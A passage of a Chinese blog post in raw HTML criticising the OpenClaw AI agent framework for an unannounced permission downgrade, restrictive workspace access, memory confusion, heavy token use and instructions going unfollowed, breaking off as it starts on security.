leaf="">Peter还靠这个项目加入了openai</span></font><span leaf="">，虽然程序员也是厉害的程序员，但是短短几个月维护一个不知道多少人关注的开源项目，只能靠大量的AI开发+大量的PR。好处是OpenClaw更新快，坏处是</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">短短几个月OpenClaw就成了超大屎山代码</span></strong><span leaf="">，不说设计上的问题，光是代码和开发上的问题就频频出问题。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">有一些特别具体的例子，我分享几个。</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">开发和管理上的问题</span></strong></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><font style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(237, 116, 12);"><span leaf="">2026.3.2版本，OpenClaw更新新版本，在没有任何提醒和预告的基础上，把默认权限降低到了message，只允许OpenClaw发送信息不能执行命令</span></font></strong></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000631" data-ratio="0.2664714494875549" title="null" data-type="png" data-w="683" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=746e70fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxttoQyaYAlYibvbyUIR8UQQTjTEZKHzdk7Bsxn1icd0ktKEU5ZkiccNGxo58y2vOn1w312bKnj2Xk6wjjOPYYQLgn47yqDnWmFJVWA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">更新完之后，OpenClaw瞬间任何执行命令的权限都没有，要知道OpenClaw存在的价值就是可以开放全权限在环境内操作，设计好的功能都无法正常使用。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">最关键的是OpenClaw他自己也没有做相应的记忆</span></strong><span leaf="">，询问他发生了什么他自己不知道，我花了好长时间研究才发现是新更新版本的问题。</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">默认的配置权限混乱</span></strong></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">如果操作OpenClaw抓取图片发送给我，大概率会失败。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">我花了一段时间研究修复，最后发现原因也很搞笑。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">如果让OpenClaw操作浏览器抓取图片，或者用某种mcp生成图片，这个图片的默认保存位置是/tmp，但是OpenClaw的默认权限，他只能操作自己项目空间目录下，也就是/root/.openclaw/workspace/目录下的问题。所以是他没有权限操作。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">没有读取tmp目录的权限很奇怪，OpenClaw自己对这件事情也没有预设也很奇怪。</span></strong></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">上下文过长，记忆混乱</span></strong></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">其实我不知道这个问题谁是因谁是果，可能是因为上下文过长才导致记忆混乱，也可能是因为OpenClaw本身记忆管理有问题所以导致其他衍生问题。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">我稍微和OpenClaw提一些小需求，他的token消耗就是几百万几百万的了，哪怕是维持平时的cron任务，不做任何主动思考任务都有几十万的消耗。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000630" data-ratio="0.5290697674418605" title="null" data-type="png" data-w="688" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=21fe3199&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtt5sJZvDibh5cROKicvAZmYysp1H8Jwc2mwyASD0lHw3b4iaV7c6CWibC5XFRPeL7oahTwQRxJTbkgvUs2rlnNebIMyQU1icc8KZDcY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这带来的衍生问题非常严重，我问了周围的朋友，大体上都遇到了和我同样的问题，就是感觉大模型变傻了很多，我用的是GLM5，刚出来的时候都可以接近opus4.6的效果了。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">但是在OpenClaw他理解不了我的需求的时候非常多，我让他在飞书文档里上传图片，断断续续的和他沟通了2天，还是没实现，大量的无意义思考，很多犯过的错误我多次指正之后就忘记了。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000633" data-ratio="0.656934306569343" title="null" data-type="png" data-w="959" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4724e757&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtu2J52mbr7giag3HRUkCaLlvU4Hb7YvwvoxSV3fUlQicjmwpQU4BIX6dRicyqVSF8ib30pu43YN6GTeXoJNskVRzE82RroGk9U0Ywc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">而且我自己的感觉是，这个问题和我的实现方式关系不大，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">即便我多次要求他调用官方sdk，写python脚本实现，并在skill中要求必须调用python脚本实现，这个问题依然没有得到完美解决。</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">甚至如果使用的时间够长，那么</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">被我设置为最高指令的部分，他都不会遵守。</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这让我意识到一个问题，不管问题的起因在哪，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">OpenClaw实际上是没有能力承担类似Claude的自主项目开发能力的</span></strong><span leaf="">，这也意味着所谓的养&#34;龙虾&#34;其实从根上暂时是不成立的，OpenClaw不会因为短期的培养变的更好，比起养来说，探索OpenClaw的能力边界，等他或者类似的工具更新，是更靠谱的选择。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">ps: 或许你看到这里会说可以用第三方记忆方案替换OpenClaw，我也仍旧在研究学习中，但侧面也证明了OpenClaw本身的问题。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">对了</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">如果你是希望用OpenClaw开发项目，我还是建议你多了解下Claude的最佳实践。</span></strong></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">安全性？</span></strong></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">随着OpenClaw爆火，这几天关于OpenClaw的安全问题被屡屡提及，尤其是安全圈相关，大家都恨不得蹭这个热度。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000639" data-ratio="0.7888888888888889" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=03d1568e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxts137MAZQosj52PaTgq1MicuKt660BFuoPyy9icaY7PBCgiaXoCjMibvQuDI7rdz4J5G1C0Sf2cpH7VmXybibZn8f50nfdtBDOIFOpQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">虽然漏洞列表里可以写出密密麻麻的一大堆OpenClaw漏洞，安全威胁提醒可以写出密密麻麻好多条，但实际上OpenClaw并没有可以直接利用的远程漏洞，在安全圈</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">如果不能直接利用，我们更愿意把他称之为安全风险。</span></strong></p><p style="box-sizing: 